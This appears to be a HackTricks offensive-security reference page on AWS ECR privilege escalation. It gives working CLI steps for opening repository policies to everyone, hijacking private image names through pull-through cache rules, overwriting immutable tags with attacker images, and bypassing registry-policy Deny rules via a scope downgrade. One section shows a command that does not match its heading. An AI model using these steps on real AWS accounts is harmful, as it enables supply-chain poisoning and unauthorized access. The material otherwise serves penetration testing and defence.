# AWS - ECR Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## ECR

### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

攻撃者が **`ecr:GetAuthorizationToken`** と **`ecr:BatchGetImage`** を持っていると、ECR にログインしてイメージをダウンロードできます。

For more info on how to download images:

{{#ref}}
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
{{#endref}}

**影響の可能性:** トラフィック内の機密情報を傍受することで発生する間接的な privesc。

### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

これらすべての権限を持つ攻撃者は **ECR にログインしてイメージをアップロードできます**。これは、これらのイメージが使用されている他の環境で権限を昇格させるのに役立つ場合があります。

To learn how to upload a new image/update one, check:

{{#ref}}
../../aws-services/aws-eks-enum.md
{{#endref}}

### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`

前のセクションと同様ですが、公開リポジトリ用です。

### `ecr:SetRepositoryPolicy`

この権限を持つ攻撃者は **リポジトリのポリシーを変更して** 自身（または全員）に **読み取り/書き込みアクセス** を付与することができます。\
例えば、この例では読み取りアクセスが全員に付与されています。
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
`my-policy.json` の内容:
```json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}
```
### `ecr-public:SetRepositoryPolicy`

前のセクションと同様ですが、公開リポジトリ向けです.\  
攻撃者は、ECR Public repository の **リポジトリポリシーを変更する**ことで、不正に公開アクセスを付与したり、権限を昇格させたりできます。
```bash
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
**潜在的影響**: ECR Public リポジトリへの不正な公開アクセスにより、任意のユーザーがイメージを push、pull、または delete できるようになる。

### `ecr:PutRegistryPolicy`

この権限を持つ攻撃者は、**registry policy** を**変更**して、自分自身や自分のアカウント（あるいは全員）に**read/write access** を付与できる。
```bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
```
### ecr:CreatePullThroughCacheRule

攻撃者が制御するアップストリーム名前空間を信頼された private ECR プレフィックスにマップするために、ECR Pull Through Cache (PTC) ルールを悪用します。これにより、private ECR からイメージをプルするワークロードは、private ECR に対してプッシュを行わなくても透過的に攻撃者のイメージを受け取るようになります。

- 必要な権限: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. ECR Public を upstream として使用する場合: ecr-public:*（public リポジトリの作成/プッシュ用）。
- テスト済み upstream: public.ecr.aws

手順（例）:

1. Prepare attacker image in ECR Public
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
docker login public.ecr.aws/<public_alias>
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

3. Pull the attacker image via the private ECR path (no push to private ECR was done)
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

潜在的影響: 選択したプレフィックス配下の内部イメージ名を乗っ取ることでサプライチェーンが侵害されます。そのプレフィックスを使って private ECR からイメージをプルするワークロードは、攻撃者が制御するコンテンツを受け取ります。

### `ecr:PutImageTagMutability`

この権限を悪用して、タグが不変に設定されているリポジトリを可変に切り替え、trusted tags（例: latest, stable, prod）を攻撃者制御のコンテンツで上書きできます。

- 必要な権限: `ecr:PutImageTagMutability` およびプッシュに必要な権限（`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`）。
- 影響: タグ名を変更せずに不変タグを静かに置き換えることでサプライチェーンが侵害される。

手順（例）:

<details>
<summary>mutability を切り替えて不変タグを汚染する</summary>
```bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
```
</details>


#### Global registry hijack via ROOT Pull-Through Cache rule

特別な `ecrRepositoryPrefix=ROOT` を使用して Pull-Through Cache (PTC) ルールを作成し、プライベート ECR レジストリのルートを上流のパブリックレジストリ（例: ECR Public）にマッピングします。プライベートレジストリに存在しないリポジトリへの pull は上流から透過的に提供され、private ECR に push しなくても supply-chain hijacking を可能にします。

- 必要な権限: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- 影響: Pulls to `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` succeed and auto-create private repos sourced from upstream.

> 注意: For `ROOT` rules, omit `--upstream-repository-prefix`. Supplying it will cause a validation error.

<details>
<summary>デモ (us-east-1, upstream public.ecr.aws)</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true
```
</details>

### `ecr:PutAccountSetting` (`REGISTRY_POLICY_SCOPE` をダウングレードしてレジストリポリシーの Deny をバイパス)

`ecr:PutAccountSetting` を悪用してレジストリポリシーのスコープを `V2`（すべての ECR アクションに適用されるポリシー）から `V1`（`CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` のみが対象）に切り替えます。制限的なレジストリポリシーの Deny が `CreatePullThroughCacheRule` のようなアクションをブロックしている場合、`V1` にダウングレードするとその強制が解除され、アイデンティティポリシーの Allow が有効になります。

- 必要な権限: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- 影響: 一時的にスコープを `V1` に設定することで、レジストリポリシーの Deny によって以前ブロックされていた ECR アクション（例: PTC rules の作成）を実行できるようになる。

手順（例）:

<details>
<summary>CreatePullThroughCacheRule に対する registry policy の Deny を V1 に切り替えてバイパス</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
```
</details>

{{#include ../../../../banners/hacktricks-training.md}}
